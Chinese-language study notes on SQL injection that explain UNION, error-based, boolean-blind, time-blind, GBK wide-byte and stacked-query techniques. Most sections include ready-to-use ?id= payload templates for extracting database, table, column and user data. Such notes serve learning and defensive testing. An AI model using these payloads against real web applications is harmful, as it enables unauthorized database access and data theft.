SQL注入原理:
攻击者通过在用户输入中插入恶意SQL代码,使应用程序错误地将这些输入当作SQL命令的一部分处理或直接报错,从而绕过安全限制并非法操作数据库。
SQL注入的两大类型:
基于整型:
整型参数一般有id、page、age等,也不需要单引号括号,这些字符输入都会被当作数字执行,整型会判断数据是否相等,比如
`and 1=1`:页面正常返回数据
`and 1=2`:页面无数据 / 报错
基于字符型:
变量被单引号包裹,需要单引号闭合原有引号,构造的sql语句才能拼接成功。
?id=1' and 1=1 --+
?id=1' and 1=2 --+
构造语句成功和1=1、1=2没关系,和是否闭合成功有关系
SQL注入漏洞类型:
联合查询注入:
把攻击者的查询结果拼接到正常查询语句后面一起显示出来。
select * from users where id=1 UNION SELECT 1,version(),3;
在我们不知道字段数的时候,用order by +字段查询 如下:

得知user表里面有6个字段。

UNION特殊性:
UNION用于把多条 SELECT 查询结果合并成一个结果集。
select 列1,列2 from A
UNION
select 列1,列2 from B;
- 字段数量、顺序必须完全一致
两个 select 返回的列的个数必须相同 ,列类型尽量兼容,列名以第一条 select 的列名为准。
--正确:都是2列
select id,username from user
UNION
select id,name from student;
--报错:左边2列,右边1列
select id,username from user
UNION
select id from student;
2.UNION默认自动去重;UNION ALL不去重
union:合并后,删除重复行,会做排序,性能差;
union all:直接拼接,不去重,奴排序,速度快
3.order by只能写在union 的最后面,对合并后的整体排序
select id,username from user
UNION
select id,username from student
ORDER BY id DESC;
4.where、group by写在各自子查询内部
where 不能写在整个 union 后面过滤,每个 select 自己加 where 条件。
(select id,username from user where age>20)
UNION
(select id,username from student where age>20);
5.union和jion的本质区别:
union行合并,上下堆数据;jion列合并,左右关联
报错注入
适用:MySQL,利用数据库执行错误时把查询结果输出到报错信息中,没有回显位,但会打印报错信息时使用。 前提条件:
-
页面会返回 SQL 执行错误信息;
-
可以控制传入的 SQL 参数;
-
不能直接 union 查询(无正常回显点)。
select * from users where id = 1 and updatexml(1,concat(0x7e,version(),0x7e),1);
一、核心原理
MySQL 部分函数出错时,会把函数内部执行查询得到的数据,拼接到错误提示里输出到页面。 我们把想要查询的语句放在报错函数的参数里,触发报错,数据就随报错显示出来。
如果页面不输出 MySQL 报错,报错注入直接失效,不能用。
二、常用报错注入函数
1. updatexml ()
函数原型:
updatexml(目标xml文档, xpath表达式, 替换内容)
- 第二个参数要求是合法 xpath 格式;传入
~、@等非法字符,触发报错。 concat(0x7e,要查询的语句),0x7e是~,制造非法 xpath 语法。
payload 模板:
and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
注意:updatexml 报错最多输出 32 位字符,数据长了会截断,需要 substr 截取。
截取示例:
and updatexml(1,concat(0x7e,substr((select table_name from information_schema.tables where table_schema=database()),1,32),0x7e),1)--+
2. extractvalue ()
也是 xpath 报错,同样最大 32 字符限制
and extractvalue(1,concat(0x7e,(select database()))) --+
updatexml /extractvalue 共同点:
- xpath 报错,最多返回32 个字符;
- 长数据必须用
substr(xxx,偏移,长度)分段读取; - 不能查询多行列,要用
limit 0,1每次取一条。
3. floor (rand ()*2) 报错(group by 报错注入,旧版本)
原理:group by + rand() 的主键重复报错。 不受 32 字符限制。 payload 模板:
and (select 1 from (select count(*),concat((select database()),floor(rand()*2))x from information_schema.tables group by x)a) --+
缺点:不稳定,有时不触发报错;高版本 MySQL 已经修复。
- exp () 报错(mysql5.5.5 及以前) exp (~ 大数) 触发数值溢出报错,新版本废弃,了解即可。
布尔盲注:
页面没有数据回显,也不输出数据库报错;但是输入不同 SQL,页面会返回两种不同状态(正确页面 / 错误页面)。
核心思路:猜,一个字符一个字符爆破,无法直接看到返回数据,通过页面真假判断猜测的字符是否正确
前提条件
- 参数存在 SQL 注入;
- 无回显、无报错输出;
- 输入条件为真、假,页面有明显不一样的响应。
核心函数
length(str):获取字符串长度substr(str, offset, len):截取字符串,下标从 1 开始!不是 0ascii(char):把字符转为 ASCII 数字,盲注几乎都用 ascii 比较,避免引号问题mid()等价 substr;ord()等价 ascii ()
模板核心逻辑:
if( (条件), 1, 0 )payload 逻辑:构造查询条件,条件成立页面返回真,不成立返回假。
#判断数据库长度
?id=1' and length(database())>5 --+
#逐位猜数据库名字符
?id=1' and ascii(substr(database(),1,1))>100 --+
#猜表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
#猜字段名
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100 --+
#猜数据内容
?id=1' and ascii(substr((select username from `user` limit 0,1),1,1))>110 --+
#if写法
?id=1' and if(ascii(substr(database(),1,1))>100,1,0) --+
时间盲注
既没有数据回显,也没有报错回显,布尔条件真假页面返回完全一模一样,看不出任何页面差异。 只能依靠SQL 执行后的响应时间延迟来判断条件真假。
核心逻辑:
if(条件为真,sleep(延迟秒数),1)
- 如果条件成立 → 执行
sleep(N),页面加载变慢,产生延时 - 如果条件不成立 → 不 sleep,页面立刻返回
核心函数
sleep(n):休眠 n 秒,最常用benchmark(次数,函数):重复执行函数,制造延时,部分环境过滤 sleep 时用substr(str,起始位置,长度):截取字符,下标从 1 开始ascii():字符转 ASCII 数字,避免引号问题if(判断条件,true执行,false执行)
模板骨架
if( (条件), sleep(5), 1 )
条件正确,就会延迟 5 秒再返回页面。
完整手工 Payload 示例(单引号闭合?id=1')
1. 判断数据库名长度
?id=1' and if(length(database())>5,sleep(3),1)--+
- 页面延迟 3 秒加载:条件成立,库名长度 > 5
- 页面瞬间返回:条件不成立,库名≤5
2. 猜数据库名第 1 位字符(二分法)
?id=1' and if(ascii(substr(database(),1,1))>100,sleep(3),1)--+
substr(database(),1,1):取第 1 个字符;修改第二个数字猜第 2、3...... 位。
3. 猜表名(必须加 limit 0,1,只取一行)
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110,sleep(3),1)--+
4. 猜字段名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100,sleep(3),1)--+
5. 猜数据
?id=1' and if(ascii(substr((select username from `user` limit 0,1),1,1))>120,sleep(3),1)--+
sleep 被过滤的替代方案 benchmark
?id=1' and if(ascii(substr(database(),1,1))>100,benchmark(1000000,md5('test')),1)--+
宽字节注入
核心场景 :网站开启 addslashes 转义 / 单引号转义,' 被自动转义成 \',单引号失效,无法闭合SQL语句,常规注入失效。
根本原因 :数据库编码为 GBK(宽字节),PHP页面编码为UTF-8。
GBK 是双字节编码:一个汉字/特殊字符占 2 个字节;UTF-8 一个字符占 3 字节。
绕过逻辑:
-
攻击者传入 %df% + '
-
服务器过滤机制自动把 ' 转义为 \' (反斜杠编码
%5c) -
%df + %5c 被 MySQL GBK 编码合并识别成 一个合法汉字
-
反斜杠被"吃掉",逃逸转义,单引号成功逃逸生效,实现SQL闭合注入
一句话口诀 :构造宽字符,吃掉反斜杠,释放单引号。
1. 基础闭合绕过
原始被拦截:' → 转义为 \'
绕过 payload:%df'
解析过程:
传入:%df'
转义后:%df%5c'
GBK解码:%df%5c = 一个汉字,反斜杠消失,剩余 ' 成功闭合SQL
2. 完整可用注入语句
Union注入示例:
?id=%df' union select 1,database(),3--+
报错注入示例:
?id=%df' and updatexml(1,concat(0x7e,database()),1)--+
3、常用宽字节字符(均可吃反斜杠)
只要第一个字节大于 0x7f ,即可和 %5c 组成GBK汉字:
%df、%aa、%ab、%ac、%ad 等
最稳定、通用:%df
4、宽字节注入核心特点
-
只针对转义防护 :专门绕过
addslashes单引号转义 -
只针对GBK编码:UTF-8无此漏洞
-
逃逸对象是反斜杠,不是单引号
-
属于编码解析漏洞,不是SQL语法漏洞
堆叠注入
1. 原理
利用 MySQL 分号; 可以分隔多条 SQL 的特性,终止原有语句 ,再额外执行一条全新独立 SQL。
2. 利用条件
- 参数可控、可输入分号
- 后端支持多语句执行
- union/select 被过滤时常用
3. 核心特点
- 不限制字段数,和原 SQL 无关,独立执行
- 不止查询,可增、删、改、建表
- 可用
show/desc绕过 select 过滤 - 部分环境执行成功但无回显(隐式执行)
4. 常用 payload 模板
?id=1';show databases;--+
5. 缺点
大部分现代框架默认禁止多语句、拦截分号,成功率低;权限不足也无法执行。